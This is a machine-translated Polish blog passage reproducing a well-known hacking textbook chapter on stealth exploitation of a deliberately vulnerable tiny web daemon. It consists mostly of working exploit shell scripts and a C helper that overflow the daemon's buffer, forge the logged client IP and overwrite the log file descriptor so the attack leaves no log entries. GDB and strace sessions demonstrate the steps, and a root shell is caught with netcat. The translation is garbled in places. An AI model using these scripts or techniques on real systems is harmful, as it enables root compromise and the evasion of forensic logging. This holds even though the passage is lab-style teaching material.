reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon.

reader@hacking:~/booksrc $ nc -l -p 31337 &

[1] 27279

reader@hacking:~/booksrc $ ./xtool_tinywebd_steath.sh loopback_shell_restore 127.0.0.1

target IP: 127.0.0.1

shellcode: loopback_shell_restore (102 bytes)

fake request: "GET / HTTP/1.1\x00" (15 bytes)

[Fake Request (15 b)] [NOP (299 b)] [shellcode (102 b)] [ret addr (128 b)]

localhost [127.0.0.1] 80 (www) open

reader@hacking:~/booksrc $ fg

nc -l -p 31337

whoami

root

[1]+ Stopped nc -l -p 31337

reader@hacking:~/booksrc $ ./webserver_id 127.0.0.1

The web server for 127.0.0.1 is Tiny webserver

reader@hacking:~/booksrc $ fg

nc -l -p 31337

whoami

root

Z tym kodem powłoki powłoka root-back jest utrzymywana przez oddzielny proces potomny, podczas gdy proces nadrzędny nadal obsługuje zawartość WWW.

Powrót

29.09.2020

Zaawansowany kamuflaż

Nasz aktualny exploit stealth tylko maskuje żądanie internetowe; adres IP i znacznik czasu są jednak nadal zapisywane w pliku dziennika. Ten rodzaj kamuflażu utrudni znalezienie ataków, ale nie są one niewidoczne. Zapisanie adresu IP w dziennikach, które mogłyby być przechowywane przez lata, może prowadzić do problemów w przyszłości. Odkąd teraz myjemy się z demonem tinyweb, powinniśmy być w stanie ukryć naszą obecność jeszcze lepiej.

Podszywanie się pod zarejestrowany adres IP

Adres IP zapisany w pliku dziennika pochodzi z client_addr_ptr, który jest przekazywany do handle_connection ().

Segment kodu z tinywebd.c

void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {

unsigned char *ptr, request[500], resource[500], log_buffer[500];

int fd, length;

length = recv_line(sockfd, request);

sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr),

ntohs(client_addr_ptr->sin_port), request);

Aby podrobić adres IP, musimy tylko wstrzyknąć naszą własną strukturę sockaddr_in i nadpisać client_addr_ptr adresem wstrzykniętej struktury. Najlepszym sposobem na wygenerowanie struktury sockaddr_in do iniekcji jest napisanie małego programu C, który tworzy i zrzuca strukturę. Poniższy kod źródłowy buduje strukturę za pomocą argumentów wiersza polecenia, a następnie zapisuje dane struktury bezpośrednio do deskryptora pliku 1, który jest standardowym wyjściem.

addr_struct.c

#include < stdio.h >

#include < stdlib.h >

#include < sys/socket.h >

#include < netinet/in.h >

int main(int argc, char *argv[]) {

struct sockaddr_in addr;

if(argc != 3) {

printf("Usage: %s < target IP> \n", argv[0]);

exit(0);

}

addr.sin_family = AF_INET;

addr.sin_port = htons(atoi(argv[2]));

addr.sin_addr.s_addr = inet_addr(argv[1]);

write(1, &addr, sizeof(struct sockaddr_in));

}

Ten program może być użyty do wstrzyknięcia struktury sockaddr_in. Poniższe wyjście pokazuje kompilowany i wykonywany program.

reader@hacking:~/booksrc $ gcc -o addr_struct addr_struct.c

reader@hacking:~/booksrc $ ./addr_struct 12.34.56.78 9090

##

"8N_reader@hacking:~/booksrc $

reader@hacking:~/booksrc $ ./addr_struct 12.34.56.78 9090 | hexdump -C

00000000 02 00 23 82 0c 22 38 4e 00 00 00 00 f4 5f fd b7 |.#."8N..._.|

00000010

reader@hacking:~/booksrc $

Aby zintegrować to z naszym exploitem, struktura adresu jest wstrzykiwana po fałszywym żądaniu, ale przed saniami NOP. Ponieważ fałszywe żądanie ma długość 15 bajtów i wiemy, że bufor zaczyna się od 0xbffff5c0, fałszywy adres zostanie podany przy 0xbfffff5cf.

reader@hacking:~/booksrc $ grep 0x xtool_tinywebd_steath.sh

RETADDR="\x24\xf6\xff\xbf" # at +100 bytes from buffer @ 0xbffff5c0

reader@hacking:~/booksrc $ gdb -q -batch -ex "p /x 0xbffff5c0 + 15"

$1 = 0xbffff5cf

reader@hacking:~/booksrc $

Ponieważ client_addr_ptr jest przekazywany jako drugi argument funkcji, będzie on na stosie po dwóch dwordach adres zwrotny. Poniższy skrypt exploita wprowadza fałszywą strukturę adresu i nadpisuje

xtool_tinywebd_spoof.sh

#!/bin/sh

# IP spoofing stealth exploitation tool for tinywebd

SPOOFIP="12.34.56.78"

SPOOFPORT="9090"

if [ -z "$2" ]; then # If argument 2 is blank

echo "Usage: $0 < shellcode file> "

exit

fi

FAKEREQUEST="GET / HTTP/1.1\x00"

FR_SIZE=$(perl -e "print \"$FAKEREQUEST\"" | wc -c | cut -f1 -d ' ')

OFFSET=540

RETADDR="\x24\xf6\xff\xbf" # At +100 bytes from buffer @ 0xbffff5c0

FAKEADDR="\xcf\xf5\xff\xbf" # +15 bytes from buffer @ 0xbffff5c0

echo "target IP: $2"

SIZE=`wc -c $1 | cut -f1 -d ' '`

echo "shellcode: $1 ($SIZE bytes)"

echo "fake request: \"$FAKEREQUEST\" ($FR_SIZE bytes)"

ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16))

echo "[Fake Request $FR_SIZE] [spoof IP 16] [NOP $ALIGNED_SLED_SIZE] [shellcode $SIZE]

[ret

addr 128] [*fake_addr 8]"

(perl -e "print \"$FAKEREQUEST\"";

./addr_struct "$SPOOF IP" "$SPOOFPORT";

perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE";

cat $1;

perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\r\n\"") | nc -w 1 -v $2 80

Najlepszym sposobem, aby wyjaśnić dokładnie, co robi ten skrypt exploitów, jest oglądanie tinywebd z poziomu GDB. W wynikach poniżej GDB jest używany do dołączania do działającego procesu tinywebd, punkty przerwania są ustawiane przed przepełnieniem, a część IP bufora dziennika jest generowana

reader@hacking:~/booksrc $ ps aux | grep tinywebd

root 27264 0.0 0.0 1636 420 ? Ss 20:47 0:00 ./tinywebd

reader 30648 0.0 0.0 2880 748 pts/2 R+ 22:29 0:00 grep tinywebd

reader@hacking:~/booksrc $ gcc -g tinywebd.c

reader@hacking:~/booksrc $ sudo gdb -q-pid=27264 --symbols=./a.out

warning: not using untrusted file "/home/reader/.gdbinit"

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

Attaching to process 27264

/cow/home/reader/booksrc/tinywebd: No such file or directory.

A program is being debugged already. Kill it? (y or n) n

Program not killed.

(gdb) list handle_connection

77 /* This function handles the connection on the passed socket from the

78 * passed client address and logs to the passed FD. The connection is

79 * processed as a web request, and this function replies over the connected

80 * socket. Finally, the passed socket is closed at the end of the function.

81 */

82 void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd)

{

83 unsigned char *ptr, request[500], resource[500], log_buffer[500];

84 int fd, length;

85

86 length = recv_line(sockfd, request);

(gdb)

87

88 sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr),

ntohs(client_addr_ptr->sin_port), request);

89

90 ptr = strstr(request, " HTTP/"); // Search for valid looking request.

91 if(ptr == NULL) { // Then this isn't valid HTTP

92 strcat(log_buffer, " NOT HTTP!\n");

93 } else {

94 *ptr = 0; // Terminate the buffer at the end of the URL.

95 ptr = NULL; // Set ptr to NULL (used to flag for an invalid request).

96 if(strncmp(request, "GET ", 4) == 0) // Get request

(gdb) break 86

Breakpoint 1 at 0x8048fc3: file tinywebd.c, line 86.

(gdb) break 89

Breakpoint 2 at 0x8049028: file tinywebd.c, line 89.

(gdb) cont

Continuing.

Następnie z innego terminala wykorzystywany jest nowy exploit spoofing do przyspieszenia wykonania w debuggerze.

reader@hacking:~/booksrc $ ./xtool_tinywebd_spoof.sh mark_restore 127.0.0.1

target IP: 127.0.0.1

shellcode: mark_restore (53 bytes)

fake request: "GET / HTTP/1.1\x00" (15 bytes)

[Fake Request 15] [spoof IP 16] [NOP 332] [shellcode 53] [ret addr 128]

[*fake_addr 8]

localhost [127.0.0.1] 80 (www) open

reader@hacking:~/booksrc $

Po powrocie do terminala debugowania trafiany jest pierwszy punkt przerwania

Breakpoint 1, handle_connection (sockfd=9, client_addr_ptr=0xbffff810, logfd=3) at

tinywebd.c:86

86 length = recv_line(sockfd, request);

(gdb) bt

#0 handle_connection (sockfd=9, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86

#1 0x08048fb7 in main () at tinywebd.c:72

(gdb) print client_addr_ptr

$1 = (struct sockaddr_in *) 0xbffff810

(gdb) print *client_addr_ptr

$2 = {sin_family = 2, sin_port = 15284, sin_addr = {s_addr = 16777343},

sin_zero = "\000\000\000\000\000\000\000"}

(gdb) x/x &client_addr_ptr

0xbffff7e4: 0xbffff810

(gdb) x/24x request + 500

0xbffff7b4: 0xbffff624 0xbffff624 0xbffff624 0xbffff624

0xbffff7c4: 0xbffff624 0xbffff624 0x0804b030 0xbffff624

0xbffff7d4: 0x00000009 0xbffff848 0x08048fb7 0x00000009

0xbffff7e4: 0xbffff810 0x00000003 0xbffff838 0x00000004

0xbffff7f4: 0x00000000 0x00000000 0x08048a30 0x00000000

0xbffff804: 0x0804a8c0 0xbffff818 0x00000010 0x3bb40002

(gdb) cont

Continuing.

Breakpoint 2, handle_connection (sockfd=-1073744433, client_addr_ptr=0xbffff5cf,

logfd=2560)

at tinywebd.c:90

90 ptr = strstr(request, " HTTP/"); // Search for valid-looking request.

(gdb) x/24x request + 500

0xbffff7b4: 0xbffff624 0xbffff624 0xbffff624 0xbffff624

0xbffff7c4: 0xbffff624 0xbffff624 0xbffff624 0xbffff624

0xbffff7d4: 0xbffff624 0xbffff624 0xbffff624 0xbffff5cf

0xbffff7e4: 0xbffff5cf 0x00000a00 0xbffff838 0x00000004

0xbffff7f4: 0x00000000 0x00000000 0x08048a30 0x00000000

0xbffff804: 0x0804a8c0 0xbffff818 0x00000010 0x3bb40002

(gdb) print client_addr_ptr

$3 = (struct sockaddr_in *) 0xbffff5cf

(gdb) print client_addr_ptr

$4 = (struct sockaddr_in *) 0xbffff5cf

(gdb) print *client_addr_ptr

$5 = {sin_family = 2, sin_port = 33315, sin_addr = {s_addr = 1312301580},

sin_zero = "\000\000\000\000_

(gdb) x/s log_buffer

0xbffff1c0: "From 12.34.56.78:9090 \"GET / HTTP/1.1\"\t"

(gdb)

W pierwszym punkcie przerwania, client_addr_ptr jest pokazany jako 0xbffff7e4 i wskazuje na 0xbffff810. Znajduje się to w pamięci na stosie po dwójce po adresie zwrotnym. Drugi punkt przerwania jest po nadpisaniu, więc klient_addr_ptr przy 0xbffff7e4 jest pokazany jako nadpisany adresem wstrzykniętej struktury sockaddr_in pod 0xbffff5cf. Od tego momentu możemy zajrzeć do log_buffer, zanim zostanie zapisany w dzienniku, aby sprawdzić, czy wtrysk adresu zadziałał.

Powrót

30.09.2020

Wykorzystanie bez logowania

Najlepiej byłoby, gdybyśmy w ogóle nie pozostawiali śladów. W konfiguracji LiveCD technicznie możesz po prostu usunąć pliki dziennika po otrzymaniu powłoki roota. Załóżmy jednak, że ten program jest częścią bezpiecznej infrastruktury, w której pliki dziennika są dublowane do bezpiecznego serwera logowania, który ma minimalny dostęp, a może nawet drukarkę liniową. W takich przypadkach usunięcie plików dziennika po fakcie nie jest opcją. Funkcja timestamp () w demonie tinyweb próbuje być bezpieczna, pisząc bezpośrednio do otwartego deskryptora pliku. Nie możemy zatrzymać tej funkcji przed wywołaniem i nie możemy cofnąć zapisu w pliku dziennika. Byłby to dość skuteczny środek zaradczy; jednak został źle wdrożony. W rzeczywistości w poprzednim exploicie natknęliśmy się na ten problem. Mimo że logfd jest zmienną globalną, jest także przekazywany do handle_connection () jako argument funkcji. Z omówienia kontekstu funkcjonalnego należy pamiętać, że tworzy to kolejną zmienną stosu o tej samej nazwie, logfd. Ponieważ ten argument znajduje się zaraz po client_addr_ptr na stosie, zostaje częściowo zastąpiony przez terminator zerowy i znaleziony dodatkowy bajt 0x0a na końcu bufora exploitów.

(gdb) x/xw &client_addr_ptr

0xbffff7e4: 0xbffff5cf

(gdb) x/xw &logfd

0xbffff7e8: 0x00000a00

(gdb) x/4xb &logfd

0xbffff7e8: 0x00 0x0a 0x00 0x00

(gdb) x/8xb &client_addr_ptr

0xbffff7e4: 0xcf 0xf5 0xff 0xbf 0x00 0x0a 0x00 0x00

(gdb) p logfd

$6 = 2560

(gdb) quit

The program is running. Quit anyway (and detach it)? (y or n) y

Detaching from program: , process 27264

reader@hacking:~/booksrc $ sudo kill 27264

reader@hacking:~/booksrc $

Dopóki deskryptor pliku dziennika nie jest 2560 (0x0a00 w systemie szesnastkowym), za każdym razem, gdy handle_connection () próbuje zapisać do dziennika, zakończy się niepowodzeniem. Efekt ten można szybko zbadać za pomocą strace. Dane wyjściowe poniżej, strace jest używane z argumentem wiersza polecenia -p, aby dołączyć do uruchomionego procesu. Argument -e trace = write mówi strace, aby patrzył tylko na wywołania zapisu. Po raz kolejny narzędzie exploitów spoofing jest używane w innym terminalu do łączenia się i wcześniejszego wykonywania.

reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon.

reader@hacking:~/booksrc $ ps aux | grep tinywebd

root 478 0.0 0.0 1636 420 ? Ss 23:24 0:00 ./tinywebd

reader 525 0.0 0.0 2880 748 pts/1 R+ 23:24 0:00 grep tinywebd

reader@hacking:~/booksrc $ sudo strace -p 478 -e trace=write

Process 478 attached - interrupt to quit

write(2560, "09/19/2007 23:29:30> ", 21) = -1 EBADF (Bad file descriptor)

write(2560, "From 12.34.56.78:9090 \"GET / HTT".., 47) = -1 EBADF (Bad file descriptor)

Process 478 detached

reader@hacking:~/booksrc $

Wyjście to wyraźnie pokazuje próby zapisu do pliku dziennika nie powiodło się. Normalnie nie bylibyśmy w stanie nadpisać zmiennej logfd, ponieważ przeszkadza to klient_addr_ptr. Beztroskie zniekształcenie tego wskaźnika zwykle prowadzi do wypadku. Ale ponieważ upewniliśmy się, że ta zmienna wskazuje prawidłową pamięć (nasza wstrzykiwana sfałszowana struktura adresu), możemy nadpisać zmienne, które znajdują się poza nią. Ponieważ demon tinyweb przekierowuje standardowe wyjście do / dev / null, następny skrypt exploita zastąpi przekazaną zmienną logfd 1, dla standardowego wyjścia. To nadal uniemożliwia zapisywanie wpisów w pliku dziennika, ale w znacznie ładniejszy sposób - bez błędów.

xtool_tinywebd_silent.sh

#!/bin/sh

# Silent stealth exploitation tool for tinywebd

# also spoofs IP address stored in memory

SPOOFIP="12.34.56.78"

SPOOFPORT="9090"

if [ -z "$2" ]; then # If argument 2 is blank

echo "Usage: $0 < shellcode file > < target IP >"

exit

fi

FAKEREQUEST="GET / HTTP/1.1\x00"

FR_SIZE=$(perl -e "print \"$FAKEREQUEST\"" | wc -c | cut -f1 -d ' ')

OFFSET=540

RETADDR="\x24\xf6\xff\xbf" # At +100 bytes from buffer @ 0xbffff5c0

FAKEADDR="\xcf\xf5\xff\xbf" # +15 bytes from buffer @ 0xbffff5c0

echo "target IP: $2"

SIZE=`wc -c $1 | cut -f1 -d ' '`

echo "shellcode: $1 ($SIZE bytes)"

echo "fake request: \"$FAKEREQUEST\" ($FR_SIZE bytes)"

ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16))

echo "[Fake Request $FR_SIZE] [spoof IP 16] [NOP $ALIGNED_SLED_SIZE] [shellcode $SIZE]

[ret

addr 128] [*fake_addr 8]"

(perl -e "print \"$FAKEREQUEST\"";

./addr_struct "$SPOOFIP" "$SPOOFPORT";

perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE";

cat $1;

perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\x01\x00\x00\x00\r\n\"") | nc -w 1

-v $2

80

Kiedy ten skrypt jest używany, exploit jest całkowicie cichy i nic nie jest zapisywane w pliku dziennika.

reader@hacking:~/booksrc $ sudo rm /Hacked

reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon..

reader@hacking:~/booksrc $ ls -l /var/log/tinywebd.log

-rw------- 1 root reader 6526 2007-09-19 23:24 /var/log/tinywebd.log

reader@hacking:~/booksrc $ ./xtool_tinywebd_silent.sh mark_restore 127.0.0.1

target IP: 127.0.0.1

shellcode: mark_restore (53 bytes)

fake request: "GET / HTTP/1.1\x00" (15 bytes)

[Fake Request 15] [spoof IP 16] [NOP 332] [shellcode 53] [ret addr 128] [*fake_addr 8]

localhost [127.0.0.1] 80 (www) open

reader@hacking:~/booksrc $ ls -l /var/log/tinywebd.log

-rw------- 1 root reader 6526 2007-09-19 23:24 /var/log/tinywebd.log

reader@hacking:~/booksrc $ ls -l /Hacked

-rw------- 1 root reader 0 2007-09-19 23:35 /Hacked

reader@hacking:~/booksrc $

Zwróć uwagę, że rozmiar pliku dziennika i czas dostępu pozostają takie same. Korzystając z tej techniki, możemy wykorzystać tinywebd bez pozostawiania śladów w plikach dziennika. Ponadto wywołania zapisu są wykonywane czysto, ponieważ wszystko jest zapisywane w / dev / null. Jest to pokazane przez strace na wyjściu poniżej, gdy narzędzie cichego exploita jest uruchamiane w innym terminalu.

reader@hacking:~/booksrc $ ps aux | grep tinywebd

root 478 0.0 0.0 1636 420 ? Ss 23:24 0:00 ./tinywebd

reader 1005 0.0 0.0 2880 748 pts/1 R+ 23:36 0:00 grep tinywebd

reader@hacking:~/booksrc $ sudo strace -p 478 -e trace=write

Process 478 attached - interrupt to quit

write(1, "09/19/2007 23:36:31> ", 21) = 21

write(1, "From 12.34.56.78:9090 \"GET / HTT".., 47) = 47

Process 478 detached

reader@hacking:~/booksrc $

Powrót